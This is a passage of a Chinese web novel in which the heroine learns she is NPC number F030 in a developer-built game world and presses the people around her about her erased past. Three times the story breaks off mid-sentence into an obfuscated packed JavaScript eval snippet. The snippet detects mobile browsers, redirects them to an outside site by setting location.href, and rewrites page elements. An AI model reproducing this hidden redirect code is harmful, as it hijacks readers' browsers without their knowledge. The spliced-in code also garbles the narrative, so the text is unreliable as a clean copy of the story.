她突然意识到她也在追寻一道黑影,一道她本以为属于其他人的身影。而此刻,那道黑影回过头来,镜面中照见的不是别人,正是她自己。 编号030就是她,她就是编号030,她早就存在在此,早就是这个世界的一部分。 “阿祖拉……” 她终于叫他一声。他们停在一座板栗色砖墙下,阿祖拉似乎在等待她接下来的话语,她却喉咙干涩,像是再也挤不出其他声音。直到这时她才迟钝地觉知到一种抽离感,才明白她并不像她以为的那样冷静。 她不属于这里才对,否则,那些闪回的关于另一个世界的记忆又该如何解释? 或者她早就来到了这个世界,但就像多萝西娅说的那样,她经历了什么从而失去记忆。可她究竟是谁?为什么她能看见这些异常?为什么她的房间会有插座? “你还好吗?”阿祖拉突然搭话。 孔映看向他,冲破喉头的阻涩感,敏锐反问道:“为什么这么问?我看起来不好吗?” 分明是再安静再温和不过的一人,问出这话时却像是带刺,显得有些凶狠。 目光交汇间,阿祖拉敛下眉眼,似乎在失落,同时否认:“没有。” 孔映默了默,再开口时说道:“我必须要去找路易莎了,她该等急了。”她召唤回砖墙下和秃头麻雀打架的斑斑,又说,“你可以不必和我同路。” 阿祖拉抬眼,见她已经转身离开,停顿片刻跟了上去。 他们安静了一路,似乎都以各自的方式沉默并混乱着,斑斑不时从孔映肩头飞到阿祖拉手边,叽里咕噜地说几句怪话。不久,他们抵达了奇奇的树屋前。 老椴树下方,路易莎正盘腿坐在树干旁抛榛子玩,树冠之上,一只松鼠倒挂着尾巴直勾勾看着她,垂涎三尺。 显然路易莎的天然黑正在发作,是孔映的到来解救了松鼠,她终于收起她从农场揣来的榛子。 “克莉丝塔,你总算来了!” 她跳起身,夸张地表达出那一丝不满,“要不是钟楼还没敲钟,我都以为过去好几个小时了!”说完发现坠在孔映身后的尾巴,“咦,阿祖拉,你怎么也在?” “我在路上遇到他。”孔映走来树下,抢先回答道。 路易莎遂向阿祖拉问好:“你好阿祖拉,没想到会在这儿遇上你。” 阿祖拉向她颔首。 “我们给英格玛写了信,你什么时候再去伊德尔镇呢?” “等下趟火车出发时。” 路易莎了然,重新转向孔映:“克莉丝塔,我们赶紧开始吧,我快要忍不住了!” 女孩满脸急切,面庞鲜活而天真,无忧虑的模样将孔映从适才的混乱中唤回当下。她没想到路易莎会一直忍耐,以她对奇奇的抵抗力,等待她的时候至少会花二十枚硬币才对。这么想着,孔映甚至有些忍俊不禁。 路易莎留意到她嘴角那抹笑意,震惊道:“克莉丝塔,你还笑话我!” “我没有,我只是想到开心的事。”孔映说着,主动前去牵引那根悬在树下的麻绳。 铜铃轻响,树屋的门向内打开。 路易莎第一个和奇奇握手,奇奇慢悠悠给出第一道谶语:“风把蒲公英吹回原处。” 她一如既往地不明白,但并不妨碍她为此感到喜悦,她又眼巴巴地看向孔映,孔映在这般注视下伸出手,偏偏奇奇毫不配合,无论如何也不肯伸出爪子。 “奇奇?” 漫长的等待后,路易莎困惑叫它声。她不明白为什么它要耗费这么长时间,奇奇则只是坐在原处舔舔爪子,抹了把脸。 “我想它还记得上次的不愉悦。”孔映猜测道。因为还留有上次和她握手的记忆,所以才尽力规避着那种令它毛骨悚然的情形。 “想不到堂堂‘先知’还是只胆小猫。”她口吻真挚。 “喵!” 奇奇难得猫叫一声,而不是说人话。 凶巴巴的样子令路易莎失笑:“不要这样说奇奇嘛。” 场面一派祥和,就在路易莎试图对奇奇动之以情晓之以理时,孔映猝不及防地握住那只猫爪,只见奇奇惊恐抖动两下脑袋,随后乍停,瞢然歪了歪头。 预想中的意外没有发生,一人一猫只是各自安好地握上会儿,又各自收回手。 奇奇变回那副倨傲模样,端坐并下巴微抬,说出谶语:“薰衣草遮盖石头,石头隐蔽光芒。” “蒲公英和薰衣草,看来奇奇今天很喜欢植物呢!”路易莎全无解密的打算,又兴致勃勃地锁定下一位占卜对象,她捧起歇在孔映肩头的斑斑,翘起嘴角,“现在来试试让它们握手吧!” 边说边将斑斑托到奇奇面前,孔映则静默不语,暗自思索着这句谶语。 而那一猫一鸟也出乎意料地没有动作,只是大眼瞪小眼。路易莎见状,不死心地将斑斑举得更高,但半晌过去,它们仍安静僵持着。就在她灰心之际,孔映突然发出指示:“斑斑,和它握手。” “Yes, My lord! ” 斑斑一振翅,飞落到奇奇身旁,瘦嶙嶙的鸟爪突袭向毛茸茸的猫掌。 空气仿佛静止了一瞬。 转瞬之间,一猫一鸟都炸起毛来,奇奇抖上一抖,毫不矜持地从树屋前跳到树干上,斑斑则原地蹦蹦跳跳,叽叽喳喳:“奇奇!Oracle! ” 奇奇尾巴翘得高高的,冲它猫叫两声。斑斑仍旧没头没脑,跳向孔映:“My lord! 001!031!先知!” 孔映双手接住它,树上,奇奇停下猫叫,口吐人言:“修复中!” 话落,空气静止。 一身黑色西装的男人从树上跳下,落地时左腿前屈成弓,右膝下沉至离地三寸处悬停,胫骨与地面形成精确的锐角,仿佛一个忍者。 孔映语塞:“……” 就蛮做作的。 做作的男人直起身,先抬头看看树上的黑猫,又低头扫视树下众人。 他注意到僵硬站在孔映手中的鹦鹉,走近来。同先前见过的两个自动机器人一样,他也戴着墨镜,字符在墨镜上流转。 孔映从始至终望着那里,她感知到斑斑并非彻底僵硬,而是两腿战战在她手心里发抖,暗暗觉得好笑,然而,当墨镜中显现出「异常系统碎片存在」的错误并试图向开发者发出回收警告时,她眨动下眼睛。 “你不能带走它。” 声音穿透空气,像是击碎玻璃,黑衣人的墨镜上缓慢浮现出新的字符串: - INTERRUPT: NPC_#F030_OVERRIDE.[中断:编号F030NPC强制介入] - FIELD DISTORTION DETECTED[检测到场域扰动] …… 短短一瞬间,所有显示字符冻结—— 孔映动了。 她动得越发自如,就像是彻底成为主宰者,而她面前的黑衣人轻微抽搐下,死机般站在原地。 古怪的电流声穿过脑海,随后又是模糊得像是从几光年外漂浮而来的人声。 “阿涛,醒醒。”女人的声音响起。 “嗯?几点了?”男人醒过来,口齿还不利索,“什么表情,有发现吗?” “全是Bug算吗?” “……” “你自己看。” 片刻后,男人抬高声:“靠!我的「完美型男」怎么会罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853047|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工?!” “这是重点吗?” 男人沉默,冷静下来分贝低了许多:“那个疯子……都这样了,还不修复吗?” “等她醒来吧。” “等?等到什么时候?”男人反问着,情绪猛然起伏,“再说凭什么等啊,凭什么我白天累死累活上工,晚上还要守着这个不负责的疯子等啊,凭她任性?凭她不负责任?凭她一点不在意我们——” “好了阿涛,你去休息吧。” “可铮!” “阿涛,”女人顿了顿,“我突然有些同意Joy的说法了。” “什么?” “她也许就在里面——” 女人的声音忽而尖锐得像根刺,扎进孔映脑海中,痛感令她闭上眼睛,耳畔喧嚣起来,世界的声音倾倒而来。 “你真是天才!” “太乏味了,光是细节好有什么用?” “她真以为自己是天才吗?” “太不切实际了。” “Joy有些像以前的那个谁欸……” “你怎么变成这样了?” …… “克莉丝塔,醒醒!” 头痛欲裂间,她听见熟悉的呼唤,含混不清,如同穿过层层水波传来。 她睁开眼睛,看见路易莎和阿祖拉一脸焦急地跪在她身旁,终于深吸口气,从窒息感中回到流动的空气层。 孔映用力支起身,下一瞬间便被路易莎拥进怀中:“克莉丝塔,你吓坏我了!” 分不清究竟是谁在轻颤,又或者她们都有些发抖,孔映抿了抿唇,安抚道:“没事了,路易莎。” 伴随响起的还有钟楼的钟响。 直到十一声钟响消弭在空气中,孔映才轻轻挣脱女孩的怀抱,路易莎吸了吸鼻翼:“我们去找胡丽安看看吧。” “没事的,我刚刚只是想起一些事来,头有些痛。”孔映说着扭头看向阿祖拉,冷静问道,“上次你对我说的那些话,是她告诉你的吗?” 阿祖拉喉结一动,明白她指的是他所说的「触发条件」,点点头。 “她?你们在说谁啊?”路易莎一头雾水。 孔映没有解释,而是说:“路易莎,我想我快要知道我是谁了。” 路易莎怔怔然望着她,孔映则垂眼看看自己的掌心,仿佛那里托着什么沉甸甸的东西。 “Thanks!Merci beaucoup !” 斑斑轻盈落到孔映掌心,向她鞠躬,似乎明白它刚刚险些被回收,孔映眨眨眼睛,起身来。 “好了,去车站吧,火车快到了。” 路易莎默许下她的提议,甚至忘记同奇奇道别,直到她们走到站台附近,她才闷声开口:“克莉丝塔,如果你想起来过去,会离开我们吗?” 口吻中带着浓浓的不确定,孔映想了想,不知如何作答。她不想说出一个让路易莎难过的回答。 为难之际,火车汽笛声远远传来。她们下意识望去,接着呼吸凝滞。 那不是尤格利亚的列车。 行驶而来的列车不再有红漆斑驳的锅炉体,不再有笨拙喘息的烟囱与咯吱作响的轮轴,而是包覆着一层近乎黝黑的金属外壳,边缘笔直,充满压抑而克制的力量感。 路易莎忽而奔向站台,像一阵疾风。 月台上已经有人在等候,而陌生火车的到来使众人神色凝重,甚至连克拉克先生都从售票窗口内出来。 铁轨震颤,哐当、哐当的节奏由远及近,越来越响。终于,列车平稳进站,重重刹住,最后一团白烟在站台散开…… 一道人影从驾驶舱跳出,穿过浓郁的蒸汽直奔人群而来。 紧接着,路易莎被一个拥抱撞得向后退半步,她又惊又喜,不可置信地回抱住怀中颤抖的少女。少女紧紧拥着她,头埋在她颈侧,热泪浸湿那里的衣物。 “英格玛,你回来了。”路易莎呢喃道。 这一天,风把蒲公英吹回原处。 22.二二 英格玛抬起头来,露出那张与多萝西娅肖似的面庞。 即使刚刚才落过泪,那张面孔上也窥不出半分脆弱,反而愈发凸显出一种坚韧。她穿着身黑旧斗篷,靴子沾满灰尘与泥土,风尘仆仆却双眸明亮。 人群环绕着她们,窸窸窣窣,而路易莎一心为英格玛擦拭着泪痕,她无视人群的骚动,惊喜不已:“英格玛,你不是在亚马逊丛林里吗?怎么会突然回来?” 英格玛深吸口气,平复了情绪,回答她:“那是许久以前的信了,不久后我就离开那里回来了。” 路易莎忍不住再度拥抱住她,在她耳畔说:“欢迎你回家,请原谅我,刚才见到你时我简直说不出话来。” “不要这样说,路易莎。” 英格玛在路易莎脸颊上落下重重一吻,仿佛亲吻一块稀世珍宝,然而一道粗暴的男声打断了她们的重逢和倾述。 “文森特小姐!我想你应该向我们解释下现在的情况,我们的火车怎么会变成这副怪兽模样?” 孔映收回停留在那张坚韧面庞上的目光,转看向怒火中烧的詹姆斯。 他已经面红耳赤。她注意到他的童话式用词,将黑铁火车形容成怪兽,也注意到他剧烈的情绪起伏——如果那位自动捉虫机器人还在,他应该已经检测到站台上的NPC全都陷入某种情绪起伏中,但他没有出现。 她想起那个叫阿涛的男人声称他的「完美型男」罢工,不难猜出他是指那个从树下跳下的男人,而现在看来,罢工的似乎不只是那个场景的机器人,火车站场景下的机器人也因为某种原因罢工。 当然,某种原因正是指她自己。 可她对它做了什么呢?她不太记得。 孔映的思绪有些飘忽不定,直到英格玛的声音不疾不徐地响起:“詹姆斯先生,我们的火车正在伊德尔镇维修,但请您放心,货物已经转移到这辆列车上。” 此话一出,站台上的氛围总算一扫先前的紧张,不过转眼间人群又七嘴八舌地追问起来。 嘈杂间,玛莎拨开詹姆斯走来女孩们面前,望向英格玛的神情凝重得一反常态:“格蕾塔不在,英格玛,不要告诉我是你把火车驾驶回来的。” 显然她刚刚已经去车头处找过格蕾塔。 英格玛接着向她解释:“格蕾塔阿姨放心不下,留在伊德尔镇一起修火车,您知道她有多爱那辆火车。” “可那是伊德尔镇!” 玛莎有些浮躁,英格玛当即握住她的手,向她眨了眨眼:“玛莎阿姨,不必担心,等火车修好她就会回来。” 两人在骚动中相视一眼,似乎彼此传递出某种心照不宣的信号,玛莎突然间不像先前那样心绪不宁。英格玛也松开握住她的手,在众人再度发问前走到人群前方。 “请大家稍安勿躁,我会给大家解释清楚。这辆列车不是什么猛兽,它只是一列没有刷上颜料的火车,我们的火车在伊德尔镇时出了故障,格蕾塔车长担心货物不能准时送达,所以借来伊德尔镇的火车装回货物,而我在外出游历时学会了开火车,又正好要回到尤格利亚,所以格蕾塔车长拜托我把货物带了回来。詹姆斯先生,你的货物在第二节车厢里,马努先生,格拉斯农场的货物在第三节车厢里……” 她站在未散尽的烟雾里平静告知着众人,整个人沉稳又坚毅,似乎所有人都心甘情愿地听她说话。 路易莎久久望着女孩,终于低声问一旁的孔映:“克莉丝塔,她很耀眼,很像妈妈,对吗?” 孔映沉默点了点头。 人群散开,各自前往车厢取货物,除了火车变样与列车长换人外,其余人事都一如往日。路易莎将取货的任务交付给费尔南多,自己则迫不及待牵着英格玛去候车厅坐下,她有许多话要对她说。 孔映留在站台上,没有跟去,而是转头看向仍旧站在她身后的阿祖拉。 “为什么还跟着我?”她问。 “刚刚在树下时……”阿祖拉犹豫不决地问,“你想起来什么了吗?” “没有。” “那为什么那样问我?” “只是一个猜测,需要确认下。”孔映像是心不在焉,边说边朝车头方向走去,她看见那里有什么东西在反光。 阿祖拉跟上她,两人在驾驶舱外停下,并在玄铁车壁上发现一块锃亮的铜制铭牌,铭牌中央凿刻着两行小字:埃尔德里奇铁路公司,太阳神号。 铭牌下方镶嵌着一枚浮雕铜徽,其上一只鹰张开羽翼,利爪攫住铁轨,看起来像是一枚家族徽章。 孔映伸手摸了摸那处铭牌,煤灰蹭黑她指尖,她回头,问出她刚刚就有的疑惑:“你好像并不觉得奇怪?” “什么?” “这辆火车出现时他们都很惶惑,很不安。” 而他还一门心思想着她刚刚在树下说的话。 阿祖拉沉默一阵,末后平静道:“我也在不安,但你那时候没有看我。” “……” 听起来像是在哀怨。 不过她那时的确没有看向他。 “我、我没有别的意思。”阿祖拉低声解释句,立时转回刚刚的话题上,“但我在看到文森特小姐后就安下心来,至于这辆列车,我在伊德尔镇时就曾见过它。” 孔映若有所思,须臾问道:“你很信任她,为什么?” 阿祖拉不答,沉默间眼底又一次涌起那种古怪情绪。 时间似乎回溯到他们初见面时,那时他们站在和眼下相同的位置,他用相同的眼神看她,不同的是这一次他问出他想问的话来,尽管声音低如蚊呐:“为什么会关心这个?” “不应该吗?” “可你不是一向只关心自己吗?” 阿祖拉突然一改早前那副羞涩模样,问出的话冷酷至极。 孔映微微一怔,却连眉毛都不曾动一下。她清楚他是在对现在的她说这句话,而非对他以为的那个孔映说,可他这么说又有什么凭据呢?他凭什么说她一向只关心自己呢? “不要做出一副你好像很了解我的样子。” 她以极其平淡的口吻说出这句话,两人间的气氛再度变得僵硬。 “无论我做过什么,现在我都只是个失去记忆的人。” 孔映说完最后看他一眼,转身离开车头处。 刚走出几步,路易莎就从候车厅里探出身,热情四溢地呼唤她,终于,她在路易莎的介绍下与英格玛正式会面。 站台上人来人往声音嘈杂,她们面对面坐在空荡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878762|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候车厅中,以一种安静的姿态彼此打量。 英格玛已经摘下黑斗篷,露出有些干枯的黑发和生有雀斑的脸庞,看起来如此生机勃勃。 一旁的路易莎还陶醉在喜悦中,再次感慨:“英格玛,我见到你越久越觉得高兴,简直像是在做梦!” 英格玛扭过头看她,轻轻扬起唇角,笑意温煦。然而,孔映还是在她的眉宇间捕捉到一丝郁结的惆怅。 “你还会离开吗,英格玛?” 她突如其来的询问令路易莎抿回到现实里,她抿起唇,定睛看英格玛。 “当然,”英格玛并不加以隐瞒,“我这次回来只是想看看大家。” “可是……” “路易莎,请等我再次出发时再说‘可是’,现在我才刚刚回来。”英格玛果断制止了路易莎。 路易莎哑口,又下意识地看了看孔映。 孔映只凭借这短短一眼就看出她所想,路易莎没有因为喜悦而忘记她们来前的对话,她还在担心她回想起从前后将会告别文森特农场的事。 她无法在此种情形下出言安慰,干脆以最简单的方式转移路易莎的注意,她对英格玛说起奇奇的谶语:“今天路易莎在奇奇那儿得到的占卜结果是‘风把蒲公英吹回原处’,看来你就是那朵蒲公英。” 果然,路易莎听后重新振奋几分精神,转而同英格玛说起她离开后尤格利亚小镇和文森特农场的变化,说到最后才又问起火车的事:“英格玛,我们的火车到底出了什么故障?格蕾塔阿姨有没有告诉你什么时候能修好。” “或许需要几天,至于究竟出了什么问题,她没有告诉我。” “好吧,但愿她早点回来。”路易莎又看向站台上的火车,微微皱眉,“不过这列火车还真难看。” “……” “……” “英格玛,我还想听听外面的事,再和我说说亚马逊丛林吧!”路易莎在英格玛面前比平日还要跳脱,眼下又满怀期待起来。 英格玛清了清嗓子,回答之前不知为何先看了眼孔映,然后才娓娓道来。 “那是片很大很深的森林,潮湿、闷热,树木参天,满眼都是绿叶、藤蔓和苔藓,绿得人头晕,脚下是腐叶和泥土,虫兽的声音时近时远,需要时刻警惕遇见毒蛙毒蛇……” 她说着说着,声音轻得几乎听不见——路易莎脸上写下的向往已经无需言表,她突然不忍心再接着说下去。 “然后呢?”路易莎听得意犹未尽。 “和玛莎阿姨磨房后的森林也没有太大差别。” “怎么会呢?我可从来没有在那儿绿到头晕过!” 路易莎带着孩子气的反驳又令她心生几分舒缓,这时费尔南多装好了货物前来候车厅,打断了路易莎的追问。 “走吧路易莎,我想早点回家看看。” 路易莎当然赞同这话,立即起身来。 三人重回站台上,阿祖拉已经没了踪影,于是孔映最后瞧了眼眼前的列车。 正要离开,路易莎突兀定身,奇怪问道:“英格玛,你是不是忘记了什么?” 远方归来的游历者,竟是两手空空。 要知道就连当初失忆的克莉丝塔都是提着两块红砖来的。 23.二三 路易莎一定是世界上最好骗的人。 如此毋庸置疑的事实孔映早该知道,毕竟,她就总是骗她。 但眼下欺骗路易莎的并不是她,而是英格玛。她告诉她们,她的手提箱在她离开亚马逊前被一只黑顶松鼠猴夺走,于是她才两手空空回到尤格利亚。 在孔映看来,这番话至少能从她的行头上窥出些荒谬的端倪,但路易莎只是像个傻瓜一样接受了这番说辞。 即便孔映一早就知道路易莎缺乏某种感知力,她也从未像此刻这样情绪复杂过—— 一直以来她都知道远不止她在向路易莎隐瞒着什么,多萝西娅、英格玛、胡丽安、玛莎甚至阿祖拉全都对她有所隐瞒,而眼下,这些几乎显而易见的欺瞒终于在英格玛的谎言中拧在一起,难以名状地砸向她。 像愧疚,也像不安,更像一种潜伏已久但直到此刻才成形的恐惧。 她恐惧这些隐瞒,就好像路易莎一旦知情就会有不测发生,她还恐惧路易莎对欺骗的浑然不觉,就好像有什么东西限制了她在这方面的思维能力,更让她恐惧的是,她惊觉她和路易莎处在同样的境地,她也一样在被隐瞒着…… 疾驰中的马车猛的一晃,大约是车轮碾过了树根,颠簸中,孔映向左侧一倒,撞上了英格玛的右肩。 费尔南多道歉的声音随即传来车内,路易莎探出头回应他,孔映则低声询问英格玛:“你怎么样?” 碰撞时她听见女孩痛呼了一声,不过英格玛只是捂住右肩摇了摇头,表示无碍。 是路易莎安排她们并肩而坐,而她坐在她们对面。她一路上都喜形于色,话像倒不完的豆子,这时又因为险些撞到头而随口说起:“还好胡丽安不在,之前有次她坐在我对面,马车一晃她就撞到车顶上,所以后来她干脆从格拉斯农场买来一匹马骑……”说到这里,她蓦地停顿下,有些困惑地问道,“英格玛,你并不认识胡丽安,对吗?” “你在信里和我说过她。” “是吗,可我怎么一点儿也不记得?”路易莎脸上的笑意忽然被一种恍惚替代,喃喃道,“这么说的话,她是在你离开后——” 话声戛然而止,这样的场景和对话让孔映回忆起当初路易莎的宕机场面,就在她提心吊胆之时,英格玛叫了路易莎一声,路易莎如梦初醒般揉了揉眼睛。 “你怎么了,路易莎?”英格玛在询问。 “唔,大概是晃得有些头晕了,我们说到哪儿了?” 英格玛沉吟片刻,说:“说到斑斑也喜欢吃妈妈做的迷迭香烤土豆,路易莎,我快饿坏了。” 路易莎不觉有异,接过话继续说,孔映则眼带探究转看向身旁的女孩。英格玛面不改色地倾听着,对她的凝视也只是一副无知无觉的模样。 孔映只好低垂眼帘,默默抚摸起斑斑。 马车驶回文森特之家时,凯文正在厨房的窗户前削土豆,越过窗和庭院望见马车上下来的女孩后,土豆在池中溅起个水花。 他迎来庭院中,一面高呼多萝西娅的名字,孔映第一次知道凯文也可以有如此高的分贝。呼声落下后,工具房里紧随着传来更大的声响,像是陶罐炸碎的声音。 英格玛与凯文的重逢还未开始就在此中断,连同还未离开的费尔南多在内,所有人都齐齐看向工具房的方向,多萝西娅正是在这样几道目光中现身。 她的羊毛卷发蓬松得如同一团乌云,原本不苟言笑的面庞因为沾上些漆黑粉末而显得不那么冷峻,当然,这或许与她一眼见到英格玛有关。 “妈妈!” 英格玛奔向多萝西娅,扑进她怀中,在她脏兮兮的围裙上蹭蹭面庞。多萝西娅怔忪一瞬,而后抬手揉揉她的头:“欢迎回家,我亲爱的英格玛。” 从午餐时间开始,整座小楼都陷入其乐融融的氛围中,似乎所有人都忘记刚刚多萝西娅捣鼓出的动静。孔映身处其间,目睹并感知着一种亲密状态,不再像初来乍到时那样萌生出夸张的念想,比如她应该在这样浓郁的温馨中落下幸福的热泪这类想法,她仅仅是看在眼里,露出一个平静且浅淡的微笑。 直到夜幕降临,这种时刻存续的亲密无间才得以暂停,她们互道晚安回屋歇下。 月色澄明,孔映睁眼仰躺在阁楼的小床上,仿佛默默思索着整个宇宙。 良久的沉静后,她毫无征兆地坐起身,捞起搭在床尾的外衣和披肩拢上,悄无声息地钻出阁楼,钻入夜色。 夜风吹过麦田,沙沙作响,一切细微的声响都在夜晚的旷野间无限放大。 牛棚里低微的喘息声,鸡舍中短促的扑翅声,风吹动木栅栏的咯吱声,以及孔映行走时鞋底压出的清晰声响。 她脚步匆匆,提着昏黄的油灯穿行在银白的农场间,不久,一座亮着微光的农舍出现在她视野前方,她走过最后一段土路,抵达花篱外。 火光从窗框投向庭院,孔映推开那扇松动的木栅门,走进院中。屋中传来模糊的低语,像是有人在对话,她听不清,也无意听清,只是径直走去门外,然而,就在她作势叩响木门时,屋内倏地归于安静。 敲门的手因此在空中停顿,仅仅迟疑一瞬,门便吱呀一声朝内打开,接着,门内门外两个女孩四目相对,齐齐怔愣。 “……” 如果没记错的话,大约两个小时前她们还在楼梯上互道晚安。 一声悦耳的轻笑忽忽打破二人的僵持,屋内一人打趣道:“看来路易莎的确很霸道,不然你们也不至于都在夜里来找我。” 两个女孩:“……” 英格玛闻声让了让身,金发女郎从她身后走来门旁,她不再像白日里那样将金发盘起,而是任由长发披散,整个人显得愈发柔和。 “进来吧,不过声音要轻一点,西塔和贝拉已经睡了。” 农舍内,壁炉和烛光各自散发出光亮,孔映坐到初次拜访胡丽安时坐的位置上,胡丽安也坐在同样的地方,不同的是她对面坐着的变成了另一位文森特小姐。 静坐许久,胡丽安托腮左右看看,开口道:“两位不爱讲话的小姐,是不是该说些什么了?” 英格玛闻言看向她,尽管不曾开口,眼神却像是在质问她。 胡丽安见状微微挑眉,随后转过面庞问孔映:“克莉丝塔,为什么这么晚来找我?” “你说过我可以随时找你的。” “当然。但我更关心为什么。” 孔映对上那双携带笑意的眼睛,抿了抿唇:“我想问你一些事……但现在,我更想知道你们为什么会在一起。” “我要是说我只是为文森特小姐疗伤,你会信吗?” 马车上的情形在孔映脑海中一晃而过,她没有回答胡丽安,转而问英格玛:“你的右肩有伤?” 英格玛不言,但几息过后,终究还是没能扛住孔映的注视,承认道:“是,在亚马逊时——” “我不是路易莎,也不是多萝西娅,你不必骗我。”孔映打断了英格玛,她注意到被打断的女孩不着痕迹地皱了皱眉,显然并不愉悦。 “英格玛,我想不必隐瞒她,她不会告诉路易莎的。”胡丽安朝英格玛眨了眨眼,英格玛不置可否,更像是默许,她便接着说,“事实上,英格玛是在伊德尔镇受的伤,归程的火车上又没有司炉工,她独自烧煤独自驾驶,伤口早就裂开了,可她不想让大家担心,这才拖到晚上来找我。” 孔映听罢,眉宇隐隐松动,她为她先前的语气向英格玛道歉,英格玛却没有回应她,即便是一句礼节性的“没关系”也没有。 她感到些许怪异,但没有捕捉到那种微妙的感觉,只是接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894798|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对胡丽安说:“所以说,你们并不像路易莎以为的那样陌生。” “不错,我们一早就认识。” “胡丽安!” 胡丽安微微一笑,向英格玛递去一个让她安心的眼神,继续说下去:“英格玛刚到伊德尔镇时,曾经做过西塔和贝拉的家庭绘画教师,我们就是那时候认识彼此的。” 孔映错愕会儿,她没想到这样两件事会串联在一起。 “那为什么要隐瞒?”她又问。 “想必你也已经有所察觉,一旦提起与伊德尔镇有关的时间节点,这个世界就会发生某种错乱,所以我们约定好不提这回事——”胡丽安说到这里顿了顿,话锋一转,“第一次见你时,我以为你的失忆正是因为撞见了这种错乱。” 孔映听出她的弦外之音,旋即发问:“也就是说,现在你不这样认为了,为什么?” 胡丽安沉默须臾,忍不住笑出声:“克莉丝塔,我承认我的确是有意要转移你的注意,但你转移得是不是太快了些?” 快到她这个猎人没能收获一丝布下陷阱捕到猎物的成就感。 孔映盯着她,坦白来意:“我本来就是因为这件事才来找你的。” 对于她的回答,胡丽安没有感到意外,她只是重新看向英格玛,说道:“英格玛,你先回去吧,我想我和克莉丝塔还有其他话要说。” 英格玛目光在二人之间扫了扫,静默起身,胡丽安又一次送她前往门外。 桌边只剩孔映独坐,她听着壁炉里的火声,扭头看向窗户外。 银白月光下,药圃里的薰衣草和其他药草随风轻摇,药田后方,石墙小屋寂然矗立,黑影深重。 胡丽安回来时见到的便是这般情形,她坐回原位,漫不经心问:“发现了什么?” “奇奇的谶语。” 孔映给出个奇怪的回答,引得胡丽安挑起眉梢:“那只会占卜的猫?” 她点点头。 “说来听听,我之前很喜欢替路易莎解谜。” “薰衣草遮盖石头,石头隐蔽光芒。”孔映转回视线,平静转述遍奇奇的谶语,不过她无意等胡丽安或真或假的分析,只是将她睡前想到的某种可能说给她听,“如果薰衣草掩映的石头是指那座小屋,那我要找到的东西就在那里面。” “你要找什么?” “一样可以发光的东西。” 胡丽安陷入沉默。 “你现在不认为我的失忆和世界的错乱有关,是因为你已经知道了我的从前,对吗?” “你很坚定吗?” 胡丽安突如其来的叩问将孔映问得一愣,她仍以那副循循善诱的口吻问下去,“克莉丝塔,告诉我,你很坚定地想知道你失去的记忆是什么吗?” 孔映一时哑口,不知该如何回答,于是胡丽安得出结论。 “看来,你并不够坚定。” 一瞬间,孔映认为胡丽安的结论是正确的——从她得知编号030即是孔映起,从她将「克莉丝塔」与「孔映」等同在一起时起,一种焦躁不安便将她团团裹挟。奇奇的谶语、遥远又不确定的人声、阿祖拉的冷嘲、英格玛的谎言,甚至连胡丽安的微笑都不例外,统统令她焦躁难安。 她真的想追寻有关孔映的过去吗? 她的焦躁难安是否意味着她仍旧排斥知道过去? “不,我想知道。” 她突然反击般说道,反击的并非胡丽安,而是她自己。 她讨厌再这样被蒙蔽下去,讨厌那些自以为是的过去的痕迹,她想要清晰地知道过去究竟发生了什么。 “是吗?” 胡丽安没再笑,声音轻得不可思议,像是遥远的松林间一颗松塔落地。 “即使当初是你主动选择遗忘过去,也想知道吗?” 24.二四 胡丽安的话无疑是在说,她走到了一扇曾经由她亲手封锁的门前,叩响了它。 又一次,她联想起镜面人的形象。 她想象自己远远望见一道黑影走出一间房,随后将门封锁,头也不回地离去,她追了上去,停在门外尝试打开房门。想象中,她成功开启了那扇门,但不久之后,又一道黑影从门内出来,再次锁门离去,紧跟着又一个她追赶来门前…… 门反复封锁,反复开启,锁门者与叩门者永远是她自己。 当然,这只是一种循环的想象。 但孔映还是在这样的想象中陷入眩晕。 如果是她自己选择了封锁过往的记忆,那她现在一步步追寻过去的意义又是什么? 意义吗?门后像是有一缕白光渗了出来,她回忆起她总是在追问意义。 这一切的意义是什么? 她难得一见的确信和坚定在胡丽安的反问中动摇,又在对意义的追问下破碎,而胡丽安嘴角又扬起抹微笑。 “克莉丝塔,还不够哦。” 还不够?什么还不够? 眩晕中的孔映不确定自己有没有问出声,只知道胡丽安还是回答了她:“条件。” 短短两个字在孔映心头激荡开涟漪,她感觉胡丽安耍了她。许久,她从嗓子眼里挤出声音,困惑无比:“胡丽安,我不明白。” “不明白什么?” “我不知道。”她依赖性地选择了这个回答,好像又缩回迷雾中,不过这次她还在试探着,低声道,“也许什么都不明白。” “那么,你要做的就是想明白。” 孔映语塞:“……” 就算她说得再认真,也只是说了句废话罢了。 胡丽安却笑弯眼:“克莉丝塔,想明白你最想要的是什么,做你最想做的选择,其余的并不重要。” 